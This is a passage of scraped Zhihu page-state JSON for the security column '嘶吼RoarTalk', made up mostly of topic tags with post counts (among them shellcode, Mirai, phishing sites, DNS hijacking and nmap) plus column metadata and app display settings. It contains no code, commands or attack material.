(Workstation)"},{"postsCount":1,"id":37301,"name":"感恩节"},{"postsCount":1,"id":37511,"name":"新浪微博 API"},{"postsCount":1,"id":37972,"name":"AirDroid"},{"postsCount":1,"id":38009,"name":"年终总结"},{"postsCount":1,"id":377,"name":"OS X 应用"},{"postsCount":1,"id":39108,"name":"JBoss"},{"postsCount":1,"id":39510,"name":"智能锁"},{"postsCount":1,"id":5674,"name":"信息"},{"postsCount":1,"id":845,"name":"Verizon"},{"postsCount":1,"id":5851,"name":"科技趋势"},{"postsCount":1,"id":1354,"name":"编程"},{"postsCount":1,"id":41152,"name":"社会智能（Social Intelligence）"},{"postsCount":1,"id":41579,"name":"lynda.com"},{"postsCount":1,"id":42250,"name":"移动浏览器"},{"postsCount":1,"id":42739,"name":"dll"},{"postsCount":1,"id":2360,"name":"Redis"},{"postsCount":1,"id":43648,"name":"密钥"},{"postsCount":1,"id":44154,"name":"希捷（Seagate）"},{"postsCount":1,"id":47411,"name":"Web 安全测试"},{"postsCount":1,"id":50163,"name":"固件"},{"postsCount":1,"id":52498,"name":"CCleaner"},{"postsCount":1,"id":5993,"name":"心理健康"},{"postsCount":1,"id":819,"name":"破解"},{"postsCount":1,"id":58389,"name":"预警"},{"postsCount":1,"id":59368,"name":"钥匙"},{"postsCount":1,"id":60312,"name":"SSO"},{"postsCount":1,"id":60914,"name":"黑客论坛"},{"postsCount":1,"id":62340,"name":"家用 NAS"},{"postsCount":1,"id":64027,"name":"众筹"},{"postsCount":1,"id":2491,"name":"二维码"},{"postsCount":1,"id":68548,"name":"IT 职场"},{"postsCount":1,"id":6065,"name":"COMODO"},{"postsCount":1,"id":73462,"name":"锤子科技"},{"postsCount":1,"id":228,"name":"技术"},{"postsCount":1,"id":74453,"name":"核安全"},{"postsCount":1,"id":6247,"name":"网络攻击"},{"postsCount":1,"id":76808,"name":"中国国际航空"},{"postsCount":1,"id":77135,"name":"位置信息"},{"postsCount":1,"id":77425,"name":"诈骗电话"},{"postsCount":1,"id":6339,"name":"安全"},{"postsCount":1,"id":79556,"name":"Netgear"},{"postsCount":1,"id":80723,"name":"年度盘点"},{"postsCount":1,"id":81701,"name":"samba"},{"postsCount":1,"id":812,"name":"Mozilla"},{"postsCount":1,"id":86314,"name":"防骗"},{"postsCount":1,"id":87266,"name":"智能硬件"},{"postsCount":1,"id":87474,"name":".Net开发"},{"postsCount":1,"id":91981,"name":"DNS 解析"},{"postsCount":1,"id":92074,"name":"儿童玩具"},{"postsCount":1,"id":6390,"name":"游戏推荐"},{"postsCount":1,"id":93618,"name":"大数据运维"},{"postsCount":1,"id":94240,"name":"voip网络电话"},{"postsCount":1,"id":94582,"name":"信息安全和密码学"},{"postsCount":1,"id":95563,"name":"国际局势"},{"postsCount":1,"id":96022,"name":"大数据分析"},{"postsCount":1,"id":99310,"name":"阅后即焚"},{"postsCount":1,"id":100652,"name":"登机牌"},{"postsCount":1,"id":215,"name":"法律"},{"postsCount":1,"id":102555,"name":"短信诈骗"},{"postsCount":1,"id":102694,"name":"棱镜计划（PRISM）"},{"postsCount":1,"id":6419,"name":"脱氧核糖核酸（DNA）"},{"postsCount":1,"id":6445,"name":"Node.js"},{"postsCount":1,"id":811,"name":"火狐浏览器（Firefox）"},{"postsCount":1,"id":6674,"name":"电子邮件"},{"postsCount":1,"id":106507,"name":"iOS 激活锁 (Activation Lock)"},{"postsCount":1,"id":6741,"name":"密码"},{"postsCount":1,"id":107355,"name":"奇葩产品"},{"postsCount":1,"id":108000,"name":"智能设备"},{"postsCount":1,"id":7043,"name":"系统管理员"},{"postsCount":1,"id":109397,"name":"btc挖矿"},{"postsCount":1,"id":110933,"name":"网页劫持"},{"postsCount":1,"id":111450,"name":"三星集团"},{"postsCount":1,"id":191,"name":"Instagram"},{"postsCount":1,"id":2593,"name":"Internet Explorer"},{"postsCount":1,"id":117042,"name":"隐私安全"},{"postsCount":1,"id":7201,"name":"网络附加存储（NAS）"},{"postsCount":1,"id":117416,"name":"app软件开发"},{"postsCount":1,"id":7227,"name":"密码管理"},{"postsCount":1,"id":7276,"name":"国外互联网"},{"postsCount":1,"id":7563,"name":"计算机网络"},{"postsCount":1,"id":1738,"name":"LinkedIn"},{"postsCount":1,"id":7947,"name":"Apache"},{"postsCount":1,"id":103,"name":"YouTube"},{"postsCount":1,"id":8037,"name":"公共交通"},{"postsCount":1,"id":122126,"name":"智能路由器"},{"postsCount":1,"id":123476,"name":"比特币钱包"},{"postsCount":1,"id":8059,"name":"脚本"},{"postsCount":1,"id":126747,"name":"一加手机"},{"postsCount":1,"id":126766,"name":"Telegram"},{"postsCount":1,"id":127054,"name":"Kali Linux"},{"postsCount":1,"id":127818,"name":"沙盒（计算机安全）"},{"postsCount":1,"id":129455,"name":"WiFi 万能钥匙"},{"postsCount":1,"id":8441,"name":"报告"},{"postsCount":1,"id":8481,"name":"VMware（威睿）"},{"postsCount":1,"id":133592,"name":"停止服务"},{"postsCount":1,"id":133761,"name":"京东白条"},{"postsCount":1,"id":134292,"name":"无线局域网"},{"postsCount":1,"id":2954,"name":"USB"},{"postsCount":1,"id":137408,"name":"Slack"},{"postsCount":1,"id":137966,"name":"网络管理员"},{"postsCount":1,"id":138613,"name":"隐私泄露"},{"postsCount":1,"id":139999,"name":"黑客组织"},{"postsCount":1,"id":1367,"name":"耳机"},{"postsCount":1,"id":9044,"name":"教程"},{"postsCount":1,"id":140886,"name":"nmap"},{"postsCount":1,"id":141041,"name":"仿冒"},{"postsCount":1,"id":141121,"name":"PE系统"},{"postsCount":1,"id":9064,"name":"DNS 劫持"},{"postsCount":1,"id":3278,"name":"WhatsApp"},{"postsCount":1,"id":99,"name":"互联网"},{"postsCount":1,"id":153160,"name":"航空航天"},{"postsCount":1,"id":153857,"name":"航空互联网"},{"postsCount":1,"id":153891,"name":"大众集团（Volkswagen Group）"},{"postsCount":1,"id":154209,"name":"马来西亚航空 17 号班机空难"},{"postsCount":1,"id":154387,"name":"传呼机"},{"postsCount":1,"id":154421,"name":"Sage"},{"postsCount":1,"id":3282,"name":"Airbnb（爱彼迎）"},{"postsCount":1,"id":155083,"name":"Http劫持"},{"postsCount":1,"id":60,"name":"Dropbox"},{"postsCount":1,"id":155945,"name":"公共信息安全"},{"postsCount":1,"id":155976,"name":"Windows Server"},{"postsCount":1,"id":156032,"name":"Github Enterprise"},{"postsCount":1,"id":156232,"name":"终端安全"},{"postsCount":1,"id":9260,"name":"无线传输"},{"postsCount":1,"id":156583,"name":"撸羊毛"},{"postsCount":1,"id":53,"name":"书籍推荐"},{"postsCount":1,"id":158766,"name":"网络欺凌"},{"postsCount":1,"id":159482,"name":"iPhone 6s"},{"postsCount":1,"id":159497,"name":"旅行安全"},{"postsCount":1,"id":3405,"name":"WordPress"},{"postsCount":1,"id":9438,"name":"人肉搜索"},{"postsCount":1,"id":1236,"name":"电信运营商"},{"postsCount":1,"id":3631,"name":"路由器"},{"postsCount":1,"id":10010,"name":"僵尸用户"},{"postsCount":1,"id":161120,"name":"shellcode"},{"postsCount":1,"id":161812,"name":"宏（编程语言）"},{"postsCount":1,"id":162212,"name":"虹膜识别"},{"postsCount":1,"id":162347,"name":"Mirai"},{"postsCount":1,"id":163303,"name":"Let's Encrypt"},{"postsCount":1,"id":163534,"name":"王者荣耀"},{"postsCount":1,"id":164032,"name":"计算机取证"},{"postsCount":1,"id":164685,"name":"资生堂"},{"postsCount":1,"id":164790,"name":"iPhone 7"},{"postsCount":1,"id":167210,"name":"无人车"},{"postsCount":1,"id":167308,"name":"双重认证"},{"postsCount":1,"id":167695,"name":"移动支付安全"},{"postsCount":1,"id":41,"name":"马克·扎克伯格（Mark Zuckerberg）"},{"postsCount":1,"id":168767,"name":"默安科技"},{"postsCount":1,"id":168854,"name":"Allo"},{"postsCount":1,"id":169666,"name":"iOS 10"},{"postsCount":1,"id":173113,"name":"模糊测试"},{"postsCount":1,"id":10036,"name":"Siri"},{"postsCount":1,"id":1856,"name":"保密"},{"postsCount":1,"id":174787,"name":"ZeroNet"},{"postsCount":1,"id":3644,"name":"实验室"},{"postsCount":1,"id":1612,"name":"eBay"},{"postsCount":1,"id":178218,"name":"Galaxy S8"},{"postsCount":1,"id":179262,"name":"防诈骗指南"},{"postsCount":1,"id":10710,"name":"钓鱼网站"},{"postsCount":1,"id":1112,"name":"SQL"},{"postsCount":1,"id":25655,"name":"EXIF"}],"pendingName":"","avatar":{"id":"v2-04994b4c0924711cff84308f3b53ff8f","template":"https://pic4.zhimg.com/{id}_{size}.jpg"},"canManage":false,"description":"嘶吼知乎小站，微信公众号：Pro4hou","pendingTopics":[],"nameCanEditUntil":0,"reason":"","banUntil":0,"slug":"roartalk","name":"嘶吼RoarTalk","url":"/roartalk","intro":"回归最本质的信息安全。","topicsCanEditUntil":0,"activateAuthorRequested":"none","commentPermission":"anyone","following":false,"postsCount":1219,"canPost":false,"FULLINFO":true}},"columnPosts":{"roartalk":{"entity":["30293037","30291905","30291768","30291097","30258315","30257964","30255849","30233720","30233563","30189313","30189265","30189184","30188689","30181977","30160513","30159426","30157991","30149390","30149117","30149039"],"next":{"rel":"next","href":"/api/columns/roartalk/posts?limit=20&offset=20","query":{"limit":"20","offset":"20"}}}},"columnSettings":{"colomnAuthor":[],"uploadAvatarDetails":"","contributeRequests":[],"contributeRequestsTotalCount":0,"inviteAuthor":""},"postComments":{},"postReviewComments":{"comments":[],"newComments":[],"hasMore":true},"favlistsByUser":{},"favlistRelations":{},"promotions":{},"switches":{"couldAddVideo":false},"draft":{"titleImage":"","titleImageSize":{},"isTitleImageFullScreen":false,"canTitleImageFullScreen":false,"title":"","titleImageUploading":false,"error":"","content":"","draftLoading":false,"globalLoading":false,"pendingVideo":{"resource":null,"error":null}},"drafts":{"draftsList":[],"next":{}},"config":{"userNotBindPhoneTipString":{}},"recommendPosts":{"articleRecommendations":[],"columnRecommendations":[]},"env":{"edition":{},"isAppView":false,"appViewConfig":{"content_padding_top":128,"content_padding_bottom":56,"content_padding_left":16,"content_padding_right":16,"title_font_size":22,"body_font_size":16,"is_dark_theme":false,"can_auto_load_image":true,"app_info":"OS=iOS"},"isApp":false},"sys":{},"message":{"newCount":0},"pushNotification":{"newCount":0}}